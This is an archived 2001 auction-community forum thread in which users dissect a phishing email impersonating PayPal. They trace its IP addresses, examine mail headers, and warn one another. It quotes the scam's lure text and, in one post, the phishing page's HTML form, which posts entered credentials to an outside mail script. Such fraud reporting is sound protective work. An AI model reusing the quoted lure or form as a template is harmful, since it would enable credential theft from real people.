Home  >  Community  >  The eBay Outlook  >  Another phoney PayPal site / email


<< previous topic post new topic post reply next topic >>
 kathyg
 
posted on October 14, 2001 07:52:36 PM
I don't think this one has been reported before, if it has it still is not shut down.

Here is the email I received:

Below is the result of your feedback form. It was submitted by
([email protected]) on Sunday, October 14, 2001 at 21:05:36
---------------------------------------------
: Dear current verified Paypal Member,

In our database, we have come across an error in your account. You have violated our Policy. It was under Fraud Review code 76429. Please understand that its your responsibility to follow our instructions to avoid Account Termination. Click <a href="http://66.96.175.186/76429">here</a> to Log on to your account. After logging on, please verify your information. This is a warning letter. Disregard this letter if you already verified your information.

PayPal Account Review Department
http://www.paypal.com

It's a fake all the way.
 
 auctioncow
 
posted on October 14, 2001 08:00:17 PM
IP address leads to paypal.com on the web.

However, a traceroute shows it goes to an address outside Denver, CO.

This definitely needs a verification from Damon on this one.


AuctionCow.com
 
 wowwow85
 
posted on October 14, 2001 08:03:03 PM
i get these feedback emails all the time and i dont even bother to open them,but i dont get any from paypal or supposedly paypal?
how could these guys get away with it??their internet service provider know where it is coming from and they could be prosecuted?
so they want to capture your password and userid so they can get into your paypal account??
someone on another thread in buyer beware said he went out of the country and he also moved from one usa addr to another,when he tried to access his account from outside the country,paypal locked up his account.when he returns,paypal asks for bank statements and when they saw he has different address,they dont like it so right now it is stillnot resolved?
so coming back to getting our user id and password,can they move money out from our paypal account using a different provider??
dont tell me they have account with every provider under the sun??


 
 kathyg
 
posted on October 14, 2001 08:06:43 PM
auctioncow: I noticed the IP traced a little oddly too. I don't know, perhaps some new redirect trick.

I can say however that the email headers do not look legit. Reference to the sending mail server:
Received: from www.wt.net (sys38.hou.wt.net [205.230.159.38])
by sys32.hou.wt.net (8.9.1/8.9.1) with ESMTP id VAA15300;
Sun, 14 Oct 2001 21:05:46 -0500 (CDT)


 
 wowwow85
 
posted on October 14, 2001 08:56:35 PM
it is interesting the crooks do not hit billpoint or yahoo direct or aol direct??
but then when aol has pay while you log on fee structure,there are always emails and instant message asking for your password.
i think paypal should set up a large button on their home page which said report fraud!!

 
 kidsfeet
 
posted on October 14, 2001 09:06:35 PM
Net//works!, Inc. (NETBLK-NET-WORKS1)
2400 Louisiana NE, Bldg 4, Suite 250
Albuquerque, NM 87110
US

is what comes up for that domain number at sam spade.

Paypal is 216.136.154.74

I'd use extreme caution.


 
 ahc3
 
posted on October 14, 2001 09:53:42 PM
You should be able to tell by the IP address that it is fake! True it looks like paypal, and all the links lead to paypal too. I put in a fake user id and password, and got an error at

http://www.terrasite.com/cgi-bin/wincgimail.asp

I imagine they capture the real info.

 
 bkmunroe
 
posted on October 14, 2001 10:22:00 PM
Viewing the source reveals this

<TD><form ACTION="http://www.terrasite.com/cgi-bin/wincgimail.asp" METHOD="POST"><input type="hidden" name="AzN Inc." value=" Mail"><input type="hidden" name="URL" value="http://http://66.96.175.186/76429/verify.html"><input type="hidden" name="email" value="[email protected]"><input type="hidden" name="Page" value="Paypal Virus">


 
 roofguy
 
posted on October 14, 2001 11:09:52 PM
Again, I don't believe these sites are necessarily after passwords/accounts with the intent to defraud. Their main intent is to injure, or at least to slur. Now to get someone's account and password would sure grant such people the ability to cause pain and suffering.

We've seen this ultra-hostile intent expressed here at AuctionWatch. Posters who come close to frothing at the keyboard when discussing PayPal; presumably these postings are authored by people who truly seek to harm PayPal, and this kind of web site seems an attempt at such harm.

[ edited by roofguy on Oct 14, 2001 11:23 PM ]
 
 honestjonstoys
 
posted on October 14, 2001 11:49:31 PM
Well this line here:

Below is the result of your feedback form. It was submitted by
([email protected]) on Sunday, October 14, 2001 at 21:05:36


Tells you that it is bogus. About half the spam I get now is "feedback form" spam.
Sometimes the rest of the email is blank, sometimes it has a few scattered html tags. I've always figured they were designed to get folks to respond so valid email addresses could be harvested.
--------------
Don't take life so serious, it ain't nohow permanent.
 
 barbarake
 
posted on October 15, 2001 03:29:44 AM
Just for the heck of it, I went to the url mentioned above. Heck, it looked authentic to me!! I can see being fooled by this. I don't know how to 'traceroute' or whatever that it.

What about all the poor sellers (or buyers) who assume this is authentic?? If I hadn't read this here, I probably would.

PayPalDamon - PayPal needs to send an email to all it's registered users on a fairly regular basis warning of things like this. It would also be a good idea if PayPal set up a regular link to respond to charges or whatever. Then any warning email from PayPal should say:

"go to 'www.paypal.com' and click on the <whatever> link to respond"

or something like that.

 
 zubzub
 
posted on October 15, 2001 05:02:51 AM
and he adds -

I called PayPal's Customer Service on this and they said it was a fake. They said that if I opened the page my account information could be compromised and suggested that I change my password which I did. (it was too long anyway).

It's interesting that they sent these emails out on the weekend that PayPal's phone lines were out of service.

Carpy

[ edited by zubzub on Oct 15, 2001 05:04 AM ]
 
 wowwow85
 
posted on October 15, 2001 07:33:28 AM
if the url canbe traced to an office in new mexico,aren't they stupid to do something like that?
i dont believe this is just to spam paypal reputation or just harvest emails,this is fraud.
whther you use your home address,post office box or a office,you leave trace to your id.
cc fraud usually prey on folks who are too busy to reconcile their cc statements and hope may be one or two charges slip through,i went to a local hairdresser once and he slided my cc twice claiming it is not working,so i paid him cash.
when statement comes,i saw the charges went thru twice,worse in the next month i saw some mysterious charge and when i called a number ,there was a recording message which said the company is in the process of being acquired and no one can come to the phone.
i reported the whoel shabang to my cc issure

 
 kathyg
 
posted on October 15, 2001 05:29:39 PM
Hey PayPalDaemon guy:
Why no response? This thing has just escalated with a second email I have received.

This time, same email, but I am referred to:
http://66.96.175.208/48326

If I log in (I gave a phoney email and a choice passowrd) NOW, instead of getting an error message, I get a subsequent screen that says they need to verify my identity and asks for Credit Card/Debit Card info. Viewing the source reveals that my info will be emailed to: [email protected].

You really need to get this thing shut down,
as it's continued existance must certainly undermine your credibility. Not to mention it's kind of annoying.


 
 
<< previous topic post new topic post reply next topic >>

Jump to

All content © 1998-2026  Vendio all rights reserved. Vendio Services, Inc.™, Simply Powerful eCommerce, Smart Services for Smart Sellers, Buy Anywhere. Sell Anywhere. Start Here.™ and The Complete Auction Management Solution™ are trademarks of Vendio. Auction slogans and artwork are copyrights © of their respective owners. Vendio accepts no liability for the views or information presented here.

The Vendio free online store builder is easy to use and includes a free shopping cart to help you can get started in minutes!